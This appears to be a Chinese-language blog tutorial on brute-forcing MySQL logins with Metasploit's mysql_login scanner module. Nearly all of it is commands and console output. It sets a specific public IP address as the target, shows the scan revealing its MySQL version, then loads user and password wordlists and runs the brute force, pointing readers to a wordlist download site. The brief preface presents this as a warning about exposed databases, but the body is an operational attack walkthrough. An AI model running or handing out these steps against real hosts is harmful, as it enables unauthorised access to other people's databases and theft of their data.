前言:
在实际工作当中,多数情况下会限制外部和内部的mysql访问,但是部分开发人员为了便于管理,允许访问和使用。所以就会造成mysql对外权限没有限制给企业带来数据库泄漏的安全性问题。
1,启动metasploit和postgresql
#service postgresql start 启动端口为5432
#service metasploit start
#update-rc.d postgresql enable 开机启动
#update-rc.d metasploit enable
# msfconsole 启动图形界面
msf > show auxiliary 显示所有可用功能
2,搜索漏洞
msf > search mysql_login
[!] Module database cache not built yet, using slow search
Matching Modules
================
Name Disclosure Date Rank Description
—- ————— —- ———–
auxiliary/scanner/mysql/mysql_login normal MySQL Login Utility
3,使用该漏洞
msf > use auxiliary/scanner/mysql/mysql_login
4,查看该漏洞用法
msf auxiliary(mysql_login) > show options
5,向rhosts输入ip,看到可以正常访问mysql
msf auxiliary(mysql_login) > set rhosts 121.42.27.192
rhosts => 121.42.27.192
6,运行可以查看到mysql版本为5.6.29
msf auxiliary(mysql_login) > run
[*] 121.42.27.192:3306 MYSQL – Found remote MySQL version 5.6.29
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
7,找一个测试爆破的用户名字典和密码字典进行爆破
msf auxiliary(mysql_login) > set user_file /usr/share/metasploit-framework/data/wordlists/unix_users.txt 设置用户字典
msf auxiliary(mysql_login) > set pass_file /usr/share/sparta/wordlists/mysql-default-userpass.txt 设置密码字典
msf auxiliary(mysql_login) > run 开始爆破..,知道看到绿色加号即为破解成功!
[爆破字典传送门:http://fuzz.wooyun.top/]
以上内容pdf版本下载:Mysql服务漏洞之msf下mysql_login爆破.pdf